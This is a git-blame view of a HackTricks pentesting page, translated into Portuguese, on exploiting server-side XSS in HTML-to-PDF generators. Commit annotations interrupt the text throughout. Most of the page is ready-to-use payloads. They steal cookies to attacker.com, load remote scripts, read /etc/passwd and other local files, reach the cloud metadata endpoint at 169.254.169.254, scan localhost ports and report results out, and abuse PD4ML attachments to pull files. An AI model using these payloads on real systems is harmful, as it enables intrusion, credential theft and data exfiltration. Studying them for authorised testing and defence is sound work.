Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-21 02:23:30 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

196 lines
9.9 KiB
Markdown
Raw Normal View History

Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
# Server Side XSS (Dynamic PDF)
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
<details>
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
GitBook: [#3154] No subject
2022-04-30 10:09:20 +00:00
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
</details>
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
## Server Side XSS (Dynamic PDF)
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
Se uma página web está criando um PDF usando entradas controladas pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**.
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
Por favor, note que as tags `<script></script>` nem sempre funcionam, então você precisará de um método diferente para executar JS (por exemplo, abusando de `<img`).\
Além disso, note que em uma exploração regular você será **capaz de ver/baixar o pdf criado**, então você poderá ver tudo o que **escrever via JS** (usando `document.write()` por exemplo). Mas, se você **não puder ver** o PDF criado, provavelmente precisará **extrair a informação fazendo uma requisição web para você** (Blind).
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
### Geração de PDF popular
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
* **wkhtmltopdf**: _Esta é uma ferramenta de linha de comando de código aberto que usa o motor de renderização WebKit para converter documentos HTML e CSS em documentos PDF._
* **TCPDF**: _Uma biblioteca PHP para gerar documentos PDF que suporta uma ampla gama de recursos, incluindo imagens, gráficos e criptografia._
* **PDFKit**: _Uma biblioteca Node.js que pode ser usada para gerar documentos PDF a partir de HTML e CSS._
* **iText**: _Uma biblioteca baseada em Java para gerar documentos PDF que suporta uma série de recursos, incluindo assinaturas digitais e preenchimento de formulários._
* **FPDF**: _Uma biblioteca PHP para gerar documentos PDF que é leve e fácil de usar._
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
## Payloads
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
### Descoberta
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```markup
GitBook: [master] one page modified
2021-09-08 08:59:37 +00:00
<!-- Basic discovery, Write somthing-->
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
<img src="x" onerror="document.write('test')" />
GitBook: [master] one page modified
2021-09-08 08:59:37 +00:00
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
```
GitBook: [#3525] No subject
2022-10-02 15:25:27 +00:00
### SVG
GitBook: [master] one page modified
2021-06-16 09:00:28 +00:00
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
Qualquer um dos payloads anteriores ou seguintes pode ser usado dentro deste payload SVG. Um iframe acessando o subdomínio Burpcollab e outro acessando o endpoint de metadados são colocados como exemplos.
GitBook: [master] one page modified
2021-06-16 09:00:28 +00:00
```markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
GitBook: [master] one page modified
2021-06-16 09:00:28 +00:00
</svg>
GitBook: [#3154] No subject
2022-04-30 10:09:20 +00:00
<svg width="100%" height="100%" viewBox="0 0 100 100"
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
GitBook: [#3154] No subject
2022-04-30 10:09:20 +00:00
</svg>
GitBook: [master] one page modified
2021-06-16 09:00:28 +00:00
```
Translated to Portuguese
2023-06-06 18:56:34 +00:00
Você pode encontrar muitos **outros payloads SVG** em [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
GitBook: [master] one page modified
2021-06-16 09:00:28 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
### Divulgação de caminho
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```markup
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```
Translated to Portuguese
2023-06-06 18:56:34 +00:00
### Carregar um script externo
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
A maneira mais eficaz de explorar essa vulnerabilidade é abusar dela para fazer o bot carregar um script que você controla localmente. Assim, você poderá alterar o payload localmente e fazer o bot carregá-lo com o mesmo código todas as vezes.
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
### Ler arquivo local / SSRF
{% hint style="warning" %}
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
Altere `file:///etc/passwd` para `http://169.254.169.254/latest/user-data` para tentar **acessar uma página web externa (SSRF)**, por exemplo.
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
Se SSRF for permitido, mas você **não conseguir acessar** um domínio ou IP interessante, [verifique esta página para possíveis bypasses](../ssrf-server-side-request-forgery/url-format-bypass.md).
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
{% endhint %}
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```markup
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
GitBook: [master] one page modified
2021-09-08 08:59:37 +00:00
</script>
```
```markup
<script>
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
GitBook: [master] one page modified
2021-09-08 08:59:37 +00:00
</script>
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```
```markup
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
GitBook: [master] one page modified
2020-11-04 10:26:58 +00:00
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```
Added XSS LFI for dynamic PDF
2022-07-06 02:55:19 +00:00
```markup
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
### Atraso do Bot
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```markup
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
</script>
<img src="https://attacker.com/delay">
```
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
### Varredura de Portas
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```markup
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
}
for(let i=0; i<1000; i++) {
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
checkPort(i);
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
}
</script>
<img src="https://attacker.com/startingScan">
```
GitBook: [#3525] No subject
2022-10-02 15:25:27 +00:00
### [SSRF](../ssrf-server-side-request-forgery/)
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
Essa vulnerabilidade pode ser transformada muito facilmente em um SSRF (já que você pode fazer o script carregar recursos externos). Então, apenas tente explorá-la (ler alguns metadados?).
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
### Anexos: PD4ML
GitBook: [#3714] No subject
2022-12-27 12:57:39 +00:00
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
Existem alguns motores de conversão de HTML para PDF que permitem **especificar anexos para o PDF**, como o **PD4ML**. Você pode abusar dessa funcionalidade para **anexar qualquer arquivo local** ao PDF.\
Para abrir o anexo, eu abri o arquivo com o **Firefox e cliquei duas vezes no símbolo do clipe de papel** para **armazenar o anexo** como um novo arquivo.\
Capturar a **resposta do PDF** com o burp também deve **mostrar o anexo em texto claro** dentro do PDF.
GitBook: [#3714] No subject
2022-12-27 12:57:39 +00:00
{% code overflow="wrap" %}
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
```
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
## Referências
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
2023-07-30 23:05:44 +00:00
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
* [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
<details>
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
2024-01-01 19:42:29 +00:00
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
</details>
Reference in a new issue Copy permalink